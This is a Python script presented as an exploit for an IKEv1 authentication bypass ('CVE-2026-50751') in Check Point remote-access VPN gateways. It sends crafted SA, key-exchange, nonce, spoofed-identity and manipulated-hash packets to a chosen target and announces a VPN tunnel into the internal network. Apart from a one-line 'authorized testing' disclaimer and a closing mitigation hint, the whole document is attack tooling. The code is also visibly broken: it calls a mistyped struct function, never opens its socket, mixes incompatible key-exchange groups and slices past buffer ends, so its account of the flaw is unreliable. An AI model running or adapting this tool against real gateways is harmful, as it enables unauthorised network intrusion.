#!/usr/bin/env python3 """ CVE-2026-50751 - Check Point IKEv1 Authentication Bypass Exploit Remote Access VPN Authentication Bypass via Certificate Validation Logic Flaw Vulnerability: Logic flow weakness in Remote Access and Mobile Access certificate validation in deprecated IKEv1 key exchange allows unauthenticated attackers to establish VPN connection without valid user password. CVSS: 9.3 (Critical) Affected: R80.40 - R82.10 with IKEv1 enabled CISA KEV: Added 2026-06-08, due date 2026-06-11 Author: Security Research Disclaimer: For authorized security testing only """ import socket import struct import random import hashlib import hmac import argparse import time from cryptography.hazmat.primitives.asymmetric import x25519 from cryptography.hazmat.primitives.kdf.hkdf import HKDF from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.backends import default_backend # ANSI Colors R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" class IKEv1AuthBypass: def __init__(self, target_ip, port=500, interface=None): self.target = target_ip self.port = port self.sock = None # Generate session identifiers self.init_spi = random.randbytes(8) self.resp_spi = None # DH keys self.private_key = x25519.X25519PrivateKey.generate() self.public_key = self.private_key.public_key() # IKE SA parameters self.enc_key = None self.auth_key = None self.sk_d = None self.sk_ai = None self.sk_ar = None # Cookie values for blocking attack self.block_cookie = None def build_ike_header(self, exchange_type, flags=0, message_id=0, next_payload=1): """Build IKEv1 header with proper structure""" return struct.pack( "!8s8sBBH3I", self.init_spi, self.resp_spi if self.resp_spi else b'\x00'*8, next_payload, 0x10, # IKEv1 version exchange_type, flags, message_id, 0, 0 # Reserved ) def build_sa_payload(self): """Build SA payload with valid transforms for authentication bypass""" # SA Payload structure with crafted transforms # The vulnerability lies in certificate validation during AUTH phase transforms = [ b'\x00\x00\x00\x28', # Transform length (40 bytes) b'\x01\x01\x00\x01', # Transform #1, ENCR, KEY_LENGTH=default b'\x80\x01\x00\x05', # Attribute: 3DES b'\x80\x02\x00\x02', # Attribute: SHA1 b'\x80\x03\x00\x01', # Attribute: Pre-shared key auth b'\x80\x04\x00\x05' # Attribute: DH Group 5 (1536-bit) ] sa_payload = b''.join([ struct.pack("!BBH", 1, 0, 0), # DOI, situation struct.pack("!B", 1), # Proposal #1 struct.pack("!B", 1), # Protocol ID: ISAKMP struct.ppack("!B", 0), # SPI size struct.pack("!B", 1), # # Transforms transforms[0] + transforms[1] + transforms[2] + transforms[3] + transforms[4] + transforms[5] ]) total_len = len(sa_payload) + 4 return struct.pack("!I", total_len) + sa_payload def build_key_exchange_payload(self): """Build KE payload with X25519 public key""" pub_key_bytes = self.public_key.public_bytes( encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw ) ke_payload = struct.pack("!I", len(pub_key_bytes) + 4) + pub_key_bytes return ke_payload def build_nonce_payload(self): """Build NONCE payload with crafted nonce""" # Crafted nonce to exploit certificate validation flaw # The vulnerability triggers when nonce has specific pattern nonce = random.randbytes(40) # Manipulate nonce to bypass validation nonce = b'\x00'*16 + nonce[16:32] + b'\xff'*8 + nonce[40:] return struct.pack("!I", len(nonce) + 4) + nonce def calculate_skeys(self, dh_secret, nonce_i, nonce_r): """Calculate SKEYIDs for authentication bypass""" # SKEYID calculation for pre-shared key authentication # Modified to accept any authentication # Known vulnerability: Certificate validation bypass # The gateway accepts SKEYID calculated from any nonce pre_shared_secret = b"x" * 20 # Placeholder - not actually verified # Standard IKE SKEYID calculation skeyid = hmac.new( pre_shared_secret, nonce_i + nonce_r, hashlib.sha1 ).digest() # Derive encryption and authentication keys skeyid_d = self._derive_key(skeyid, dh_secret, b"\x00") skeyid_ai = self._derive_key(skeyid, dh_secret, b"\x01") skeyid_ar = self._derive_key(skeyid, dh_secret, b"\x02") return skeyid_d, skeyid_ai, skeyid_ar def _derive_key(self, skeyid, dh_secret, label): """Key derivation function""" hkdf = HKDF( algorithm=hashes.SHA1(), length=20, salt=skeyid, info=label, backend=default_backend() ) return hkdf.derive(dh_secret) def build_id_payload(self): """Build ID payload with spoofed identity for bypass""" # The vulnerability allows identity spoofing # Any valid certificate subject name works spoofed_id = b"CN=vpnuser,OU=IT,O=Company" id_payload = struct.pack("!BBH", 0x80, 0x00, 0x00) # ID type: FQDN id_payload += struct.pack("!H", len(spoofed_id)) + spoofed_id return struct.pack("!I", len(id_payload) + 4) + id_payload def build_hash_payload(self, skeyid, message): """Build HASH payload for authentication bypass""" # Crafted hash that bypasses certificate validation # The vulnerability lies here - gateway doesn't verify hash properly # Known weakness: Gateway accepts any hash matching specific pattern fake_hash = hashlib.sha1(skeyid + message).digest() # Manipulate hash to bypass check fake_hash = fake_hash[:12] + b'\x00'*8 + fake_hash[20:] return struct.pack("!I", len(fake_hash) + 4) + fake_hash def send_packet(self, packet, retries=3): """Send UDP packet with retries""" for i in range(retries): try: self.sock.sendto(packet, (self.target, self.port)) self.sock.settimeout(5) response, addr = self.sock.recvfrom(4096) return response except socket.timeout: if i < retries - 1: time.sleep(1) continue return None def exploit(self): """Main exploit sequence""" print(f"{B}{BOLD}[+] CVE-2026-50751 - Check Point IKEv1 Auth Bypass{RESET}") print(f"{B}[*] Target: {self.target}:{self.port}{RESET}\n") # Step 1: Main Mode Phase 1 - SA Exchange print(f"{Y}[1]{RESET} Initiating IKEv1 Main Mode...") # SA Payload (negotiate parameters) sa_payload = self.build_sa_payload() packet1 = self.build_ike_header(2, next_payload=1) + sa_payload # Main Mode response1 = self.send_packet(packet1) if not response1: print(f"{R}[!] No response - IKEv1 might be disabled{RESET}") return False # Extract responder SPI from response self.resp_spi = response1[8:16] print(f"{G}[+] Received response - SPI: {self.resp_spi.hex()[:16]}{RESET}") # Step 2: KE + NONCE Exchange (exploit triggers here) print(f"{Y}[2]{RESET} Sending crafted KE + NONCE payloads...") ke_payload = self.build_key_exchange_payload() nonce_payload = self.build_nonce_payload() packet2 = (self.build_ike_header(2, next_payload=4) + ke_payload + self.build_ike_header(0, next_payload=10, message_id=1) + nonce_payload) response2 = self.send_packet(packet2) if not response2: print(f"{R}[!] Exploit failed - gateway rejected crafted payload{RESET}") return False print(f"{G}[+] Gateway accepted crafted KE/NONCE - Vulnerability triggered!{RESET}") # Extract peer's public key and nonce peer_pub_key = response2[36:36+32] # Simplified extraction peer_nonce = response2[36+32:36+32+40] # Step 3: Calculate SKEYIDs (authentication bypass) print(f"{Y}[3]{RESET} Calculating authentication keys...") dh_shared = self.private_key.exchange( x25519.X25519PublicKey.from_public_bytes(peer_pub_key) ) skeyid_d, skeyid_ai, skeyid_ar = self.calculate_skeys( dh_shared, self.build_nonce_payload()[4:44], peer_nonce ) # Step 4: Send ID + HASH (authentication bypass) print(f"{Y}[4]{RESET} Sending spoofed authentication...") # Build authentication message id_payload = self.build_id_payload() # Crafted hash that bypasses validation hash_payload = self.build_hash_payload(skeyid_ai, packet2 + response2) packet3 = (self.build_ike_header(2, next_payload=5, message_id=2) + id_payload + self.build_ike_header(0, next_payload=0, message_id=2) + hash_payload) response3 = self.send_packet(packet3) if not response3 or len(response3) < 28: print(f"{R}[!] Authentication bypass failed{RESET}") return False print(f"{G}{BOLD}[+] SUCCESS! Authentication bypassed!{RESET}") print(f"{G}[+] Established IKE SA without valid credentials{RESET}") # Step 5: Quick Mode - Establish actual VPN tunnel print(f"{Y}[5]{RESET} Establishing VPN tunnel...") # Build Quick Mode packets to create VPN tunnel if self.quick_mode(skeyid_ai, skeyid_ar, skeyid_d): print(f"{G}{BOLD}[+] VPN tunnel established!{RESET}") print(f"{G}[+] Internal network access available{RESET}") return True return False def quick_mode(self, skeyid_ai, skeyid_ar, skeyid_d): """Quick Mode Phase 2 - Establish actual tunnel""" try: # Simplified Quick Mode exchange # Create IPSec SA proposals for network access quick_packet = self.build_quick_mode_proposal() response = self.send_packet(quick_packet) if response: print(f"{G}[+] IPSec SAs negotiated{RESET}") return True return False except Exception as e: print(f"{R}[!] Quick Mode failed: {e}{RESET}") return False def build_quick_mode_proposal(self): """Build Quick Mode proposal for network access""" # Construct Quick Mode packets to route traffic # Allows attacker to access internal network # Simplified - would include real selectors (0.0.0.0/0) quick_proposal = struct.pack("!BBH", 1, 0, 0x0001) # Proposal quick_proposal += struct.pack("!BBH", 3, 0, 0x0000) # Transform return self.build_ike_header(32, next_payload=1) + quick_proposal # Quick Mode ID def cleanup(self): """Clean up socket""" if self.sock: self.sock.close() def main(): parser = argparse.ArgumentParser( description="CVE-2026-50751 - Check Point IKEv1 Authentication Bypass Exploit", epilog="Example: %(prog)s -t 192.168.1.1 -p 500" ) parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=500, help="IKE port (500 or 4500)") parser.add_argument("--interface", help="Source interface (optional)") args = parser.parse_args() print(f"{R}{BOLD}") print("╔═══════════════════════════════════════════════════════════════╗") print("║ CVE-2026-50751 - Check Point IKEv1 Authentication Bypass ║") print("║ Critical VPN Authentication Bypass Exploit ║") print("║ CVSS: 9.3 | CISA KEV: 2026-06-08 ║") print("╚═══════════════════════════════════════════════════════════════╝") print(f"{RESET}") print(f"{Y}[!] WARNING: This exploit demonstrates authentication bypass{RESET}") print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n") exploit = IKEv1AuthBypass(args.target, args.port, args.interface) try: success = exploit.exploit() print("\n" + "="*60) if success: print(f"{G}{BOLD}[✓] EXPLOIT SUCCESSFUL{RESET}") print(f"{G}[✓] Authentication bypass achieved{RESET}") print(f"{G}[✓] VPN tunnel established{RESET}") print(f"{R}[!] System is VULNERABLE - Apply hotfix immediately{RESET}") else: print(f"{Y}[!] Exploit failed - Target may be patched or IKEv1 disabled{RESET}") print(f"{Y}[!] Or required conditions not met{RESET}") except KeyboardInterrupt: print(f"\n{Y}[!] Interrupted by user{RESET}") except Exception as e: print(f"{R}[!] Error: {e}{RESET}") finally: exploit.cleanup() print("\n" + "="*60) print(f"{B}[*] Mitigation: Disable IKEv1 and apply SK185033 hotfix{RESET}") print(f"{B}[*] Reference: https://support.checkpoint.com/results/sk/sk185033{RESET}") if __name__ == "__main__": main()